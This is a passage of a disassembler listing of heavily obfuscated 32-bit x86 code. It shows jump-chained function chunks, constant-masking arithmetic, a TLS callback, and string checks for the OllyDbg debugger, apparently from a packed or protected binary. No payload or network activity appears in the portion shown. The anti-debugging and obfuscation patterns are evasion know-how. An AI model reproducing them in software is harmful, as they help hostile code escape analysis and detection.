; FUNCTION CHUNK AT 004287FF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428881 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042920A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429378 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429565 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042958A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004296B1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004297FA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004299A5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042A94C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042A9FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B7A9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042BEB4 SIZE 00000022 BYTES
mov [esp-0Ch+arg_8], esi
pop esi
and eax, 7
mov [ebp-4], eax
loc_4294BD: ; CODE XREF: sub_427EBE+7j
; sub_427CAC:loc_42A533j ...
jz loc_429565
cmp dword ptr [ebp-4], 0
jnz loc_42BEC6
jmp loc_4256C4
sub_4294B3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
add edi, eax
jmp sub_424DE8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42773C
loc_4294D9: ; CODE XREF: sub_42773C+1Ej
push offset loc_42A39C
jmp nullsub_70
; END OF FUNCTION CHUNK FOR sub_42773C
; =============== S U B R O U T I N E =======================================
sub_4294E3 proc near ; DATA XREF: sub_4289CF+2137o
; FUNCTION CHUNK AT 0042C234 SIZE 00000005 BYTES
push eax
push 54C92424h
pop eax
add eax, 0AB790DF3h
push offset sub_42A1E5
jmp loc_42C234
sub_4294E3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B238
loc_4294FA: ; CODE XREF: sub_42B238:loc_42AA5Aj
test ecx, 57E1884Ch
jmp loc_428390
; END OF FUNCTION CHUNK FOR sub_42B238
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425934
loc_429505: ; CODE XREF: sub_425934+45BFj
jno loc_42BA45
mov eax, 83E34EFDh
jmp loc_42643C
; END OF FUNCTION CHUNK FOR sub_425934
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422866
loc_429515: ; CODE XREF: sub_422866+764Bj
mov [ecx], eax
xchg eax, [esp+0]
mov ecx, eax
pop eax
push 400h
push 0C5B57DA9h
pop eax
or eax, 0A6FB65B9h
jmp loc_423002
; END OF FUNCTION CHUNK FOR sub_422866
; ---------------------------------------------------------------------------
sbb esi, edi
add edi, 3E3B09D1h
jmp sub_42266A
; ---------------------------------------------------------------------------
test edi, esi
jmp loc_4299FE
; ---------------------------------------------------------------------------
or ebx, esi
; START OF FUNCTION CHUNK FOR sub_422C48
loc_429549: ; CODE XREF: sub_422C48+1950j
mov ebx, edi
jmp sub_422401
; END OF FUNCTION CHUNK FOR sub_422C48
; =============== S U B R O U T I N E =======================================
sub_429550 proc near ; CODE XREF: _94j21ax3:00421B85j
; sub_42ADA2+5p
mov [esp+0], ebx
pop ebx
cmp dword ptr [ebp-14h], 6
setz al
loc_42955B: ; CODE XREF: sub_42484C:loc_42AA26j
push offset sub_428EDA
jmp nullsub_72
sub_429550 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_429565: ; CODE XREF: sub_4294B3:loc_4294BDj
cmp dword ptr [ebp-4], 0
jnz loc_42BEC6
jmp loc_4256AC
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423081
loc_429574: ; CODE XREF: sub_423081+9591j
push 4C34749Ch
pop edx
sub edx, 0DFC7BAE4h
call sub_4214E6
; END OF FUNCTION CHUNK FOR sub_423081
; START OF FUNCTION CHUNK FOR sub_42266A
loc_429585: ; CODE XREF: sub_42266A+3EABj
; _94j21ax3:0042C1D0j
jmp sub_424E34
; END OF FUNCTION CHUNK FOR sub_42266A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42958A: ; CODE XREF: sub_4294B3-7BE5j
jmp loc_42B7A9
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
xchg eax, ebp
jmp sub_42BF31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_429596: ; CODE XREF: sub_423324+2790j
or ebx, 0C9DBFD93h
add ebx, 36469FE9h
mov [ebx], eax
pop ebx
locret_4295A5: ; CODE XREF: _94j21ax3:0042C3B8j
retn
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
loc_4295A6: ; CODE XREF: _94j21ax3:0042B678j
jmp loc_42A984
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_4295AB: ; CODE XREF: sub_42A0CC-660Aj
jmp nullsub_123
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424DE8
loc_4295B0: ; CODE XREF: _94j21ax3:00423BE2j
; sub_424DE8+27CDj
push offset sub_4211F4
jmp nullsub_73
; END OF FUNCTION CHUNK FOR sub_424DE8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4295BA proc near ; CODE XREF: sub_422F50+76BEj
retn
sub_4295BA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421457
loc_4295BB: ; CODE XREF: sub_421457+6709j
jmp nullsub_74
; END OF FUNCTION CHUNK FOR sub_421457
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B358
loc_4295C0: ; CODE XREF: sub_42B358-93C0j
jmp loc_4217B2
; END OF FUNCTION CHUNK FOR sub_42B358
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42848B
loc_4295C5: ; CODE XREF: sub_42848B+8j
push 0D555232Ch
loc_4295CA: ; CODE XREF: _94j21ax3:loc_42894Ej
pop eax
and eax, 0B6A2FBE9h
add eax, 6C421D50h
mov eax, [eax]
jmp loc_421288
; END OF FUNCTION CHUNK FOR sub_42848B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424CF2
loc_4295DE: ; CODE XREF: sub_424CF2:loc_42C4ACj
mov ebx, esi
pop esi
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_424CF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422436
loc_4295E3: ; CODE XREF: sub_422436+9F63j
jmp loc_42B458
; END OF FUNCTION CHUNK FOR sub_422436
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_4295E8: ; CODE XREF: sub_422EB0-15D7j
jmp loc_4213F7
; END OF FUNCTION CHUNK FOR sub_422EB0
; =============== S U B R O U T I N E =======================================
sub_4295ED proc near ; DATA XREF: sub_42B4F1-966o
mov eax, [ebp-18h]
add eax, eax
jmp loc_42BD96
sub_4295ED endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423C51
loc_4295F7: ; CODE XREF: sub_423C51j
adc edx, [esp+arg_0]
add esp, 8
mov eax, [eax]
add eax, [ebp-4]
call sub_421EAD
jmp loc_422D81
; END OF FUNCTION CHUNK FOR sub_423C51
; =============== S U B R O U T I N E =======================================
sub_42960D proc near ; DATA XREF: sub_425301:loc_42BEA2o
; FUNCTION CHUNK AT 0042A37A SIZE 00000005 BYTES
push 65C29EDh
pop eax
add eax, 0E933F465h
sub eax, 2B85359h
push offset loc_426763
jmp loc_42A37A
sub_42960D endp
; =============== S U B R O U T I N E =======================================
sub_429629 proc near ; CODE XREF: sub_42A0CC:loc_42356Dp
; _94j21ax3:0042BA05j
; FUNCTION CHUNK AT 0042381B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00424949 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00426AE0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004278E6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00428562 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428B24 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429098 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042BA3A SIZE 0000000B BYTES
xchg esi, [esp+0]
pop esi
push 1
lea eax, [ebp-800h]
push esi
call sub_428694
loc_42963B: ; CODE XREF: sub_42ADA2-4156j
jmp loc_429098
sub_429629 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_429640: ; CODE XREF: sub_423324-204Dj
jmp loc_423DDB
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421013
loc_429645: ; CODE XREF: sub_421013+13j
jmp loc_4216DE
; END OF FUNCTION CHUNK FOR sub_421013
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42134B
loc_42964A: ; CODE XREF: sub_42134B+3j
lea eax, [ebp-20h]
mov dword ptr [eax], 594C4C4Fh
lea eax, [ebp-1Ch]
mov dword ptr [eax], 474244h
push 0
jmp loc_428081
; END OF FUNCTION CHUNK FOR sub_42134B
; ---------------------------------------------------------------------------
xchg edx, ebp
jmp sub_421644
; =============== S U B R O U T I N E =======================================
sub_42966A proc near ; CODE XREF: _94j21ax3:00428FA7j
; sub_429382:loc_42A5CDp
; FUNCTION CHUNK AT 0042512E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426AD7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042C490 SIZE 00000005 BYTES
mov [esp+0], esi
pop esi
or eax, eax
jnz loc_426AD7
jmp loc_42512E
sub_42966A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
or ebp, ecx
jmp sub_42AEB2
; ---------------------------------------------------------------------------
xor ebp, ecx
jmp sub_424791
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR TlsCallback_0
loc_429689: ; CODE XREF: TlsCallback_0+1Bj
jnz loc_423047
jmp loc_424FCC
; END OF FUNCTION CHUNK FOR TlsCallback_0
; ---------------------------------------------------------------------------
sbb eax, 6CA10A88h
jmp sub_42A277
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_42969F: ; CODE XREF: sub_4272E9+200Aj
jz nullsub_155
jmp loc_4255D1
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42651A
loc_4296AA: ; CODE XREF: sub_42651A:loc_42B642j
xchg ebx, ebp
call sub_424EFA
; END OF FUNCTION CHUNK FOR sub_42651A
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_4296B1: ; CODE XREF: sub_4294B3:loc_4256C4j
jz loc_4212C5
jmp loc_423349
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
loc_4296BC: ; CODE XREF: _94j21ax3:00428273j
jnz loc_42B3CA
; =============== S U B R O U T I N E =======================================
sub_4296C2 proc near ; CODE XREF: sub_4249A9+1p
xchg eax, [esp+0]
pop eax
mov ebp, esp
push ecx
mov esp, ebp
pop ebp
call sub_425934
loc_4296D1: ; CODE XREF: sub_4291BC-764Bj
jmp nullsub_75
sub_4296C2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
pushf
jmp sub_429A13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4296DC: ; CODE XREF: sub_42284F+2D34j
or ecx, 9E80D791h
loc_4296E2: ; CODE XREF: sub_42284F:loc_422EC0j
; sub_424C37:loc_423CDDj ...
jns loc_42122C
cmp dword ptr [ebp-4], 6
jnz loc_427EEB
jmp loc_42236A
; END OF FUNCTION CHUNK FOR sub_42284F
; =============== S U B R O U T I N E =======================================
sub_4296F7 proc near ; DATA XREF: sub_427004:loc_427D42o
add ecx, 1C2E3380h
xchg ecx, [esp+0]
jmp sub_428AE1
sub_4296F7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426FE1
loc_429705: ; CODE XREF: sub_426FE1:loc_4224B5j
mov ecx, [ebp-1Ch]
and ecx, 7
mov al, 1
shl al, cl
jmp loc_425B9B
; END OF FUNCTION CHUNK FOR sub_426FE1
; ---------------------------------------------------------------------------
xchg ecx, ebx
push ebx
xchg ecx, ebx
mov ecx, [esp+10h]
jmp loc_4228E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BAD4
loc_429722: ; CODE XREF: sub_42BAD4:loc_42BAE2j
test eax, esi
jmp loc_425B27
; END OF FUNCTION CHUNK FOR sub_42BAD4
; ---------------------------------------------------------------------------
loc_429729: ; CODE XREF: _94j21ax3:0042180Dj
jnp loc_42BA40
; =============== S U B R O U T I N E =======================================
sub_42972F proc near ; CODE XREF: sub_426FE1+33E3p
var_14 = dword ptr -14h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042204E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423536 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00423934 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424AD7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042660D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426C07 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00428677 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042987B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042990A SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0042B119 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B4AF SIZE 00000007 BYTES
mov [esp+0], eax
pop eax
xor eax, 0EED44C99h
and ecx, eax
pop eax
mov al, 1
jmp loc_424AD7
sub_42972F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_429743: ; CODE XREF: _94j21ax3:loc_4280F6j
mov [esp], eax
ror eax, 3
mov ds:dword_424068, eax
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B314
loc_429750: ; CODE XREF: sub_42B314+240j
js loc_424EA8
sbb esi, 0EA64E167h
and eax, 5FA8490h
loc_429762: ; CODE XREF: sub_4272E9:loc_4255D1j
call nullsub_3
retn
; END OF FUNCTION CHUNK FOR sub_42B314
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422CC1
loc_429768: ; CODE XREF: sub_422CC1+Dj
jmp nullsub_76
; END OF FUNCTION CHUNK FOR sub_422CC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_42976D: ; CODE XREF: sub_4272E9:loc_4292E6j
call sub_42C057
test al, al
jmp loc_424731
; END OF FUNCTION CHUNK FOR sub_4272E9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_215. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42430C
loc_42977A: ; CODE XREF: sub_42430C:loc_428FF6j
call sub_4239A5
push eax
loc_429780: ; CODE XREF: sub_424EE4:loc_42A6A3j
ror eax, 4
call sub_42A5A2
loc_429788: ; CODE XREF: sub_423A56+4BB0j
jmp loc_423E68
; END OF FUNCTION CHUNK FOR sub_42430C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42982D
loc_42978D: ; CODE XREF: sub_42982D-71FFj
jmp loc_42BCB0
; END OF FUNCTION CHUNK FOR sub_42982D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421558
loc_429792: ; CODE XREF: sub_421558:loc_428FAEj
and edi, 0FE89E895h
add edi, 3B87DD1h
push offset loc_424882
jmp loc_42AA50
; END OF FUNCTION CHUNK FOR sub_421558
; ---------------------------------------------------------------------------
loc_4297A8: ; CODE XREF: _94j21ax3:loc_4266F1j
pop edx
add edx, 0D4090D85h
push offset sub_4286DC
jmp loc_426542
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_205. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_4297BA: ; CODE XREF: sub_4272E9-17A3j
jmp loc_4279B1
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A4F4
loc_4297BF: ; CODE XREF: sub_42A4F4:loc_426E8Fj
push eax
push 400000h
mov eax, [ebp-10h]
; END OF FUNCTION CHUNK FOR sub_42A4F4
; START OF FUNCTION CHUNK FOR sub_4249A9
loc_4297C8: ; CODE XREF: sub_4249A9:loc_4249AFj
push eax
jmp loc_424D4E
; END OF FUNCTION CHUNK FOR sub_4249A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_4297CE: ; CODE XREF: sub_423F55-3BAj
ja loc_4272C9
; END OF FUNCTION CHUNK FOR sub_423F55
; START OF FUNCTION CHUNK FOR sub_423324
loc_4297D4: ; CODE XREF: sub_423324:loc_42398Dj
or edi, 76695601h
add edi, 0E1D2DCCEh
loc_4297E0: ; CODE XREF: sub_428BBD-55CDj
call sub_429DE9
loc_4297E5: ; CODE XREF: sub_426C7A-2B4Dj
push edx
push eax
mov eax, [ebp-8]
cdq
loc_4297EB: ; CODE XREF: _94j21ax3:0042410Ej
add eax, [esp+0]
adc edx, [esp+3Ch+var_38]
add esp, 8
jmp loc_42B07E
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_4297FA: ; CODE XREF: sub_4294B3-5982j
jnp loc_4238AC
loc_429800: ; CODE XREF: sub_4294B3:loc_422517j
lea eax, [ebp-2BBh]
cmp dword ptr [eax], 4742444Fh
jz loc_42A566
jmp loc_426D06
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B0C9
loc_429817: ; CODE XREF: sub_42B0C9:loc_422B90j
pop ebx
xor ebx, 80B9BAAEh
xor edx, ebx
pop ebx
jmp loc_4287AA
; END OF FUNCTION CHUNK FOR sub_42B0C9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push eax
call sub_42B71E
; =============== S U B R O U T I N E =======================================
sub_42982D proc near ; CODE XREF: sub_422EB0+1B9Dp
; _94j21ax3:0042642Cj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00421C25 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00422628 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042323D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00424B49 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426F59 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427149 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042978D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A8D7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042BCB0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042C2C8 SIZE 00000005 BYTES
xchg ebx, [esp+0]
pop ebx
mov eax, ds:dword_42C220
or eax, eax
jmp loc_42C2C8
sub_42982D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42983E proc near ; CODE XREF: sub_426562:loc_42656Fp
; FUNCTION CHUNK AT 0042190B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00423A93 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00423C39 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424335 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428BD9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428E2D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042A2A7 SIZE 0000000A BYTES
call sub_42AA78
loc_429843: ; CODE XREF: sub_4248E7+6EB2j
jmp loc_42A2A7
sub_42983E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_429848 proc near ; DATA XREF: sub_4268C1:loc_425588o
mov eax, [ebp-8]
call sub_421047
loc_429850: ; CODE XREF: sub_425330:loc_42229Fj
add dword ptr [ebp-8], 4
jmp loc_426E3B
sub_429848 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425330
loc_429859: ; CODE XREF: sub_425330+4CFBj
add [ebp+var_8], 2
jmp loc_425223
; END OF FUNCTION CHUNK FOR sub_425330
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429862 proc near ; CODE XREF: sub_423614-2086p
; sub_423614+373Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00421D14 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00422787 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004229EA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423895 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004245C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425058 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042506D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00425BB9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426A34 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00427618 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042765D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427A14 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042834A SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00428FEC SIZE 00000005 BYTES
push ebp
mov ebp, esp
add esp, 0FFFFFFECh
mov [ebp+var_4], eax
jmp loc_428FEC
sub_429862 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
jno loc_42B4BC
jmp loc_4252FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42972F
loc_42987B: ; CODE XREF: sub_42972F:loc_42B119j
pop eax
xor eax, 0B5B15D25h
add eax, ebp
add eax, 5B678D75h
mov eax, [eax]
push eax
jmp loc_423536
; END OF FUNCTION CHUNK FOR sub_42972F
; ---------------------------------------------------------------------------
loc_429892: ; CODE XREF: _94j21ax3:0042675Ej
push 0B5341B5Bh
; =============== S U B R O U T I N E =======================================
sub_429897 proc near ; CODE XREF: sub_42426B-F51p
mov [esp+0], ecx
pop ecx
inc dword ptr [ebp-4]
push offset loc_425203
loc_4298A3: ; CODE XREF: _94j21ax3:loc_423B8Dj
jmp nullsub_79
sub_429897 endp
; =============== S U B R O U T I N E =======================================
sub_4298A8 proc near ; DATA XREF: sub_42484C:loc_4290D5o
mov eax, [ebp+8]
cmp dword ptr [eax-4], 4
call sub_42B3E4
sub_4298A8 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_4258EB
loc_4298B4: ; CODE XREF: sub_4258EB:loc_425BBEj
cmp ds:dword_42C48C, 0
jnz loc_422D2F
call sub_42AA07
mov edx, 0E5254649h
push offset loc_423AE3
jmp nullsub_80
; END OF FUNCTION CHUNK FOR sub_4258EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_4298D5: ; CODE XREF: sub_42A0CC:loc_423F69j
; sub_42A0CC-1516j
mov eax, 62h
call sub_425A09
jmp loc_4271F8
; ---------------------------------------------------------------------------
loc_4298E4: ; CODE XREF: _94j21ax3:004234CFj
; sub_42A0CC-66AFj ...
jno loc_429171
push ebx
push 378468A5h
pop ebx
and ebx, 8B0DEA1Bh
jmp loc_42AAA9
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F7F
loc_4298FC: ; CODE XREF: sub_423F7F+10j
add ebx, 7FE978B4h
xchg ebx, [esp-4+arg_0]
jmp sub_422815
; END OF FUNCTION CHUNK FOR sub_423F7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42972F
loc_42990A: ; CODE XREF: sub_42972F-4C4Aj
add edx, ebp
add edx, 0A28AE0A3h
mov edx, [edx]
shr edx, 3
mov ecx, ds:dword_429F74
jnb loc_426C07
or [ecx+edx], al
push 11292F5Ah
jmp loc_42B119
; END OF FUNCTION CHUNK FOR sub_42972F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_429930: ; CODE XREF: sub_423FCD:loc_42AF89j
ja loc_423E8E
jmp loc_422AB3
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_42993B: ; CODE XREF: sub_423F55:loc_42845Ej
sub ecx, 9ABEDFBAh
xor ecx, 0A487E332h
cmp ecx, 3260CB94h
jmp loc_42AC6B
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
mov eax, esi
jmp sub_429C27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4281A5
loc_429959: ; CODE XREF: sub_4281A5+Ej
jnz loc_42779C
jmp loc_42A9A5
; END OF FUNCTION CHUNK FOR sub_4281A5
; =============== S U B R O U T I N E =======================================
sub_429964 proc near ; CODE XREF: _94j21ax3:00425030j
; sub_429CAE:loc_428F8Cp
mov [esp+0], ecx
pop ecx
push eax
call sub_423F43
retn
sub_429964 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428C49
loc_42996F: ; CODE XREF: sub_428C49+1Cj
jmp loc_428E1A
; END OF FUNCTION CHUNK FOR sub_428C49
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429974 proc near ; CODE XREF: _94j21ax3:0042728Dp
; sub_423324+5D11p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00421FDE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00423C99 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00423E1B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424CED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428717 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042C349 SIZE 00000005 BYTES
push ebp
mov ebp, esp
pushf
jmp loc_421FDE
sub_429974 endp
; =============== S U B R O U T I N E =======================================
sub_42997D proc near ; DATA XREF: _94j21ax3:loc_424F79o
add eax, 97910B65h
xchg eax, [esp+0]
jmp sub_42B079
sub_42997D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421CAA
loc_42998B: ; CODE XREF: sub_421CAA+867Fj
cmp esi, ebp
jmp loc_4225C2
; END OF FUNCTION CHUNK FOR sub_421CAA
; ---------------------------------------------------------------------------
loc_429992: ; DATA XREF: sub_42A389-597Bo
push 7777E9A1h
pop eax
add eax, 88CA56B7h
mov eax, [eax]
jmp loc_4282CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_4299A5: ; CODE XREF: sub_4294B3-C2Dj
jnb loc_427A9A
; END OF FUNCTION CHUNK FOR sub_4294B3
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_4299AB: ; CODE XREF: sub_422EB0-15F7j
; sub_4294B3-7BF1j ...
jno loc_42B9C0
cmp dword ptr [ebp-4], 3
jnz loc_42BC7E
jmp loc_4255F6
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4258EB
loc_4299C0: ; CODE XREF: sub_4258EB-1DECj
call sub_42AA07
mov edx, 0E5254649h
call sub_422048
mov ds:dword_42C48C, eax
loc_4299D4: ; CODE XREF: sub_423324:loc_423AEDj
; sub_4258EB-AC7j ...
mov esp, ebp
call sub_427565
; END OF FUNCTION CHUNK FOR sub_4258EB
; START OF FUNCTION CHUNK FOR sub_424B8F
loc_4299DB: ; CODE XREF: sub_424B8F+16j
jmp loc_4281D4
; END OF FUNCTION CHUNK FOR sub_424B8F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_4299E0: ; CODE XREF: sub_42C057-7777j
jmp loc_426EB3
; END OF FUNCTION CHUNK FOR sub_42C057
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424B01
loc_4299E5: ; CODE XREF: sub_424B01:loc_421B9Ej
push 0DBD3C4FFh
pop eax
sub eax, 0BFFEADAAh
add eax, 642AE8AFh
xor ebx, ebx
call sub_42284F
loc_4299FE: ; CODE XREF: _94j21ax3:00429542j
js sub_427344
shl esi, 0Eh
jmp sub_423BF8
; END OF FUNCTION CHUNK FOR sub_424B01
; ---------------------------------------------------------------------------
dd 93E9C785h
db 0E2h, 2 dup(0FFh)
; =============== S U B R O U T I N E =======================================
sub_429A13 proc near ; CODE XREF: sub_429447+Ep
; _94j21ax3:004296D7j
xchg esi, [esp+0]
pop esi
cmp edx, 7449E4Fh
mov edx, ebx
pop ecx
mov eax, offset sub_422E43
call sub_422E36
sub_429A13 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_42B478
loc_429A2A: ; CODE XREF: sub_42B478+Aj
jmp loc_42AE26
; END OF FUNCTION CHUNK FOR sub_42B478
; ---------------------------------------------------------------------------
sbb edx, 0AB59AF8h
jmp sub_42328F
; ---------------------------------------------------------------------------
ja loc_421648
jmp sub_427D9D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_429A45: ; CODE XREF: sub_423324-7E5j
sub ecx, 94DC3F0Fh
loc_429A4B: ; CODE XREF: sub_4294B3:loc_426DC0j
jnb loc_421B13
